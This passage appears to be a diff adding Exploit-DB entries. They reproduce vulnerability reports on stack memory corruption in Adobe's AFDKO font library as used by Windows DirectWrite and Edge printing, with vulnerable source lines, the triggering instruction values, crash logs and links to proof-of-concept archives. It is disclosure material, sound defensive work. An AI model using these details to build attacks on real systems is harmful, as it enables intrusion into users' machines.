0x100054349140: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x100054349150: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x100054349160: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==96052==ABORTING
|
||||
--- cut ---
|
||||
|
||||
Where the t2cstr.c:1057 line is:
|
||||
|
||||
--- cut ---
|
||||
1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
|
||||
--- cut ---
|
||||
|
||||
Furthermore, for do_set_weight_vector_cube.otf:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==96231==ERROR: AddressSanitizer: use-after-poison on address 0x7ffe0355a7d8 at pc 0x00000069f2bb bp 0x7ffe0351b9d0 sp 0x7ffe0351b9c8
|
||||
READ of size 4 at 0x7ffe0355a7d8 thread T0
|
||||
#0 0x69f2ba in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49
|
||||
#1 0x6858f1 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1883:38
|
||||
#2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
|
||||
#3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
|
||||
#4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
|
||||
#5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
|
||||
#6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#10 0x7ffbfaea62b0 in __libc_start_main
|
||||
#11 0x41e5b9 in _start
|
||||
|
||||
Address 0x7ffe0355a7d8 is located in stack of thread T0 at offset 241624 in frame
|
||||
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
|
||||
|
||||
This frame has 2 object(s):
|
||||
[32, 757896) 'h' (line 2524) <== Memory access at offset 241624 is inside this variable
|
||||
[758160, 758376) 'Exception' (line 2586)
|
||||
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
|
||||
(longjmp and C++ exceptions *are* supported)
|
||||
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:992:49 in do_set_weight_vector_cube
|
||||
Shadow bytes around the buggy address:
|
||||
0x1000406a34a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a34b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a34c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a34d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 f7 f7 f7 f7 00
|
||||
0x1000406a34e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7
|
||||
=>0x1000406a34f0: f7 f7 f7 00 00 00 00 00 f7 f7 f7[f7]f7 f7 f7 f7
|
||||
0x1000406a3500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a3510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a3520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a3530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000406a3540: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==96231==ABORTING
|
||||
--- cut ---
|
||||
|
||||
Where the t2cstr.c:992 line is:
|
||||
|
||||
--- cut ---
|
||||
992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47087.zip
|
165
exploits/windows/dos/47088.txt
Normal file
165
exploits/windows/dos/47088.txt
Normal file
|
@ -0,0 +1,165 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The vulnerability resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, whose prologue is shown below:
|
||||
|
||||
--- cut ---
|
||||
985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
|
||||
986 float dx, dy;
|
||||
987 int i = 0;
|
||||
988 int j = 0;
|
||||
989 int nMasters = 1 << nAxes;
|
||||
990 float NDV[kMaxCubeAxes];
|
||||
991 int popCnt = nAxes + 3;
|
||||
992 int composeCnt = h->cube[h->cubeStackDepth].composeOpCnt;
|
||||
993 float *composeOps = h->cube[h->cubeStackDepth].composeOpArray;
|
||||
--- cut ---
|
||||
|
||||
The "nAxes" argument may be controlled through the tx_SETWVN instruction:
|
||||
|
||||
--- cut ---
|
||||
1912 case tx_SETWVN: {
|
||||
1913 int numAxes = (int)POP();
|
||||
1914 result = do_set_weight_vector_cube(h, numAxes);
|
||||
1915 if (result || !(h->flags & FLATTEN_CUBE))
|
||||
1916 return result;
|
||||
--- cut ---
|
||||
|
||||
Later in do_set_weight_vector_cube(), there is very little sanitization of "nAxes", and the function mostly assumes that the argument is valid. Setting it to a negative value will cause the following check to pass:
|
||||
|
||||
--- cut ---
|
||||
1022 if (composeCnt < (nAxes + 3))
|
||||
1023 return t2cErrStackUnderflow;
|
||||
--- cut ---
|
||||
|
||||
which enables us to execute the rest of the function with "nMasters" equal to an arbitrary power of 2, and "popCnt" set to an arbitrary negative value. This may lead to stack-based out-of-bounds reads and writes in the following loops:
|
||||
|
||||
--- cut ---
|
||||
1028 /* Pop all the current COMPOSE args off the stack. */
|
||||
1029 for (i = popCnt; i < composeCnt; i++)
|
||||
1030 composeOps[i - popCnt] = composeOps[i];
|
||||
[...]
|
||||
1039
|
||||
1040 /* Compute Weight Vector */
|
||||
1041 for (i = 0; i < nMasters; i++) {
|
||||
1042 h->cube[h->cubeStackDepth].WV[i] = 1;
|
||||
1043 for (j = 0; j < nAxes; j++)
|
||||
1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
|
||||
1045 }
|
||||
1046 /* Pop all the current COMPOSE args off the stack. */
|
||||
1047 for (i = popCnt; i < composeCnt; i++)
|
||||
1048 composeOps[i - popCnt] = composeOps[i];
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file calls do_set_weight_vector_cube(nAxes=-100000), causing AFDKO to perform largely out-of-bounds read/writes operations relative to the stack, which results in a SIGSEGV / ACCESS_VIOLATION crash of the client program in line 1030:
|
||||
|
||||
--- cut ---
|
||||
1028 /* Pop all the current COMPOSE args off the stack. */
|
||||
1029 for (i = popCnt; i < composeCnt; i++)
|
||||
1030 composeOps[i - popCnt] = composeOps[i];
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
Crash log of the "tx" 64-bit utility started as ./tx -cff <path to font file>:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
|
||||
1030 composeOps[i - popCnt] = composeOps[i];
|
||||
(gdb) where
|
||||
#0 0x0000000000466f31 in do_set_weight_vector_cube (h=0x7ffffff60188, nAxes=-100000) at ../../../../../source/t2cstr/t2cstr.c:1030
|
||||
#1 0x0000000000460f3f in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1914
|
||||
#2 0x000000000045e224 in t2Decode (h=0x7ffffff60188, offset=23565) at ../../../../../source/t2cstr/t2cstr.c:1412
|
||||
#3 0x000000000045cb26 in t2cParse (offset=23565, endOffset=23574, aux=0x7156e8, gid=2, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
|
||||
at ../../../../../source/t2cstr/t2cstr.c:2591
|
||||
#4 0x000000000041371f in readGlyph (h=0x710380, gid=2, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
|
||||
#5 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
|
||||
#6 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
|
||||
#7 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf") at ../../../../source/tx.c:429
|
||||
#8 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf17 "poc.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#9 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
|
||||
#10 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
|
||||
(gdb) print i
|
||||
$1 = -99997
|
||||
(gdb) print popCnt
|
||||
$2 = -99997
|
||||
(gdb) print composeCnt
|
||||
$3 = 4
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
Crash log from the Microsoft Edge renderer process:
|
||||
|
||||
--- cut ---
|
||||
(4378.f50): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!do_set_weight_vector_cube+0x16a:
|
||||
00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx] ds:0000000b`2decf988=????????
|
||||
|
||||
0:038> u
|
||||
DWrite!do_set_weight_vector_cube+0x16a:
|
||||
00007ff9`e87c0d82 8b01 mov eax,dword ptr [rcx]
|
||||
00007ff9`e87c0d84 890491 mov dword ptr [rcx+rdx*4],eax
|
||||
00007ff9`e87c0d87 488d4904 lea rcx,[rcx+4]
|
||||
00007ff9`e87c0d8b 4883ef01 sub rdi,1
|
||||
00007ff9`e87c0d8f 75f1 jne DWrite!do_set_weight_vector_cube+0x16a (00007ff9`e87c0d82)
|
||||
00007ff9`e87c0d91 e900010000 jmp DWrite!do_set_weight_vector_cube+0x27e (00007ff9`e87c0e96)
|
||||
00007ff9`e87c0d96 33d2 xor edx,edx
|
||||
00007ff9`e87c0d98 4d8bd0 mov r10,r8
|
||||
|
||||
0:038> ? rsp
|
||||
Evaluate expression: 48015521648 = 0000000b`2df2b770
|
||||
|
||||
0:038> !teb
|
||||
TEB at 0000000b2b0ae000
|
||||
ExceptionList: 0000000000000000
|
||||
StackBase: 0000000b2df40000
|
||||
StackLimit: 0000000b2df2a000
|
||||
[...]
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 0000000b`2df2b770 00007ff9`e87c2b1f DWrite!do_set_weight_vector_cube+0x16a
|
||||
01 0000000b`2df2b800 00007ff9`e87c186e DWrite!t2Decode+0x15ab
|
||||
02 0000000b`2df2b940 00007ff9`e87c4a62 DWrite!t2Decode+0x2fa
|
||||
03 0000000b`2df2ba80 00007ff9`e87ac103 DWrite!t2cParse+0x28e
|
||||
04 0000000b`2df3b3e0 00007ff9`e87ae3f7 DWrite!readGlyph+0x12b
|
||||
05 0000000b`2df3b450 00007ff9`e87a2272 DWrite!cfrIterateGlyphs+0x37
|
||||
06 0000000b`2df3b4a0 00007ff9`e873157a DWrite!AdobeCFF2Snapshot+0x19a
|
||||
07 0000000b`2df3b9a0 00007ff9`e8730729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
08 0000000b`2df3bb80 00007ff9`e873039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
09 0000000b`2df3bda0 00007ff9`e8715a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
0a 0000000b`2df3c100 00007ff9`f2df61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
0b 0000000b`2df3c190 00007ff9`f2de9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0c 0000000b`2df3c2b0 00007ff9`cd7750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0d 0000000b`2df3c300 00007ff9`cd74fcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
0e 0000000b`2df3c350 00007ff9`cd7547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0f 0000000b`2df3c380 00007ff9`cd62b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
10 0000000b`2df3c3b0 00007ff9`cd289175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
11 0000000b`2df3c3f0 00007ff9`cf5368f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47088.zip
|
142
exploits/windows/dos/47089.txt
Normal file
142
exploits/windows/dos/47089.txt
Normal file
|
@ -0,0 +1,142 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
|
||||
|
||||
In this specific case, setting the CFR_FLATTEN_CUBE flag while interacting with AFDKO is required to trigger the bug. According to our analysis, DirectWrite currently doesn't specify this flag, but it still contains the do_set_weight_vector_cube() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_FLATTEN_CUBE flag is ever added in the future, we have opted to report the bug despite its apparent unreachability at this time.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The bug resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, with the following definition:
|
||||
|
||||
--- cut ---
|
||||
985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
|
||||
--- cut ---
|
||||
|
||||
The nAxes parameter can be controlled through the tx_SETWVN instruction:
|
||||
|
||||
--- cut ---
|
||||
1912 case tx_SETWVN: {
|
||||
1913 int numAxes = (int)POP();
|
||||
1914 result = do_set_weight_vector_cube(h, numAxes);
|
||||
1915 if (result || !(h->flags & FLATTEN_CUBE))
|
||||
1916 return result;
|
||||
--- cut ---
|
||||
|
||||
The assumption is that the number of axes specified by the fon't won't be greater than 9, as specified by the kMaxCubeAxes constant in afdko/c/public/lib/resource/txops.h:
|
||||
|
||||
--- cut ---
|
||||
194 #define kMaxCubeAxes 9
|
||||
--- cut ---
|
||||
|
||||
However this assumption is never explicitly verified in do_set_weight_vector_cube(). As a result, if the FLATTEN_CUBE flag is set in h->flags, the following code will be executed:
|
||||
|
||||
--- cut ---
|
||||
989 int nMasters = 1 << nAxes;
|
||||
990 float NDV[kMaxCubeAxes];
|
||||
[...]
|
||||
1035 while (i < nAxes) {
|
||||
1036 NDV[i] = (float)((100 + (long)composeOps[3 + i]) / 200.0);
|
||||
1037 i++;
|
||||
1038 }
|
||||
1039
|
||||
1040 /* Compute Weight Vector */
|
||||
1041 for (i = 0; i < nMasters; i++) {
|
||||
1042 h->cube[h->cubeStackDepth].WV[i] = 1;
|
||||
1043 for (j = 0; j < nAxes; j++)
|
||||
1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
|
||||
1045 }
|
||||
--- cut ---
|
||||
|
||||
If nAxes larger than 9 is specified, the local NDV[] buffer will be overflown in line 1036, followed by another buffer overflow in lines 1042 and 1044, as the WV[] array only consists of 2**9 elements, but the loops will try to write 2**10 or a larger power of 2 of values.
|
||||
|
||||
According to our observations, one of the biggest clients of AFDKO, Microsoft DirectWrite, doesn't set the CFR_FLATTEN_CUBE flag while interacting with the library, and is therefore not affected by the vulnerability (because it follows a different path to compose_callback). In the standard "tx" tool, the flag can be toggled on with the "-cubef" argument:
|
||||
|
||||
--- cut ---
|
||||
-cubef flattens Cube source to a normal Type 1 font. Can be used with all output formats
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file triggers the bug by using the tx_SETWVN instruction to call do_set_weight_vector_cube(nAxes=16) in the CharString of the "A" glyph.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A crash log from the "tx" tool compiled with AddressSanitizer, run as ./tx -cubef -cff <path to font file>:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==119029==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xff934174 at pc 0x083112cc bp 0xff934128 sp 0xff934120
|
||||
WRITE of size 4 at 0xff934174 thread T0
|
||||
#0 0x83112cb in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16
|
||||
#1 0x82f4112 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1914:38
|
||||
#2 0x82e4816 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1412:34
|
||||
#3 0x82da1c4 in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
|
||||
#4 0x8194f84 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
|
||||
#5 0x8194131 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
|
||||
#6 0x8156184 in cfrReadFont afdko/c/tx/source/tx.c:151:18
|
||||
#7 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#11 0xf7b9c275 in __libc_start_main
|
||||
#12 0x806a590 in _start
|
||||
|
||||
Address 0xff934174 is located in stack of thread T0 at offset 52 in frame
|
||||
#0 0x83100ef in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:985
|
||||
|
||||
This frame has 1 object(s):
|
||||
[16, 52) 'NDV' (line 990) <== Memory access at offset 52 overflows this variable
|
||||
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
|
||||
(longjmp and C++ exceptions *are* supported)
|
||||
SUMMARY: AddressSanitizer: stack-buffer-overflow afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 in do_set_weight_vector_cube
|
||||
Shadow bytes around the buggy address:
|
||||
0x3ff267d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff267e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff267f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x3ff26820: 00 00 00 00 00 00 00 00 f1 f1 00 00 00 00[04]f3
|
||||
0x3ff26830: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x3ff26870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==119029==ABORTING
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47089.zip
|
161
exploits/windows/dos/47090.txt
Normal file
161
exploits/windows/dos/47090.txt
Normal file
|
@ -0,0 +1,161 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
|
||||
|
||||
In this specific case, the uninitialized memory used in the vulnerable code originates from the client-provided allocator callback. According to our analysis the callback provided by DirectWrite zeroes out the returned memory by itself, which should reduce the impact of the bug to a NULL pointer dereference. However, in case the implementation of the allocator ever changes in the future, we have opted to report the bug despite its apparent low severity at this time, especially considering that the resulting primitive is the invocation of a function pointer loaded from the uninitialized address.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The bug resides in the support of variable fonts, and specifically in the loading of the "avar" table. We're interested in the following structures (from source/varread/varread.c):
|
||||
|
||||
--- cut ---
|
||||
84 /* avar table */
|
||||
85 struct var_avar_;
|
||||
86 typedef struct var_avar_ *var_avar;
|
||||
87
|
||||
[...]
|
||||
91
|
||||
92 /* avar table */
|
||||
93
|
||||
94 typedef struct axisValueMap_ {
|
||||
95 Fixed fromCoord;
|
||||
96 Fixed toCoord;
|
||||
97 } axisValueMap;
|
||||
98
|
||||
99 typedef dnaDCL(axisValueMap, axisValueMapArray);
|
||||
100
|
||||
101 typedef struct segmentMap_ {
|
||||
102 unsigned short positionMapCount;
|
||||
103 axisValueMapArray valueMaps;
|
||||
104 } segmentMap;
|
||||
105
|
||||
106 typedef dnaDCL(segmentMap, segmentMapArray);
|
||||
107
|
||||
108 struct var_avar_ {
|
||||
109 unsigned short axisCount;
|
||||
110 segmentMapArray segmentMaps;
|
||||
111 };
|
||||
--- cut ---
|
||||
|
||||
In other words, an "avar" structure contains a list of segment maps, each of which contains a list of value maps. The object is allocated and initialized in the var_loadavar() function. It is possible to bail out of the parsing in several places in the code:
|
||||
|
||||
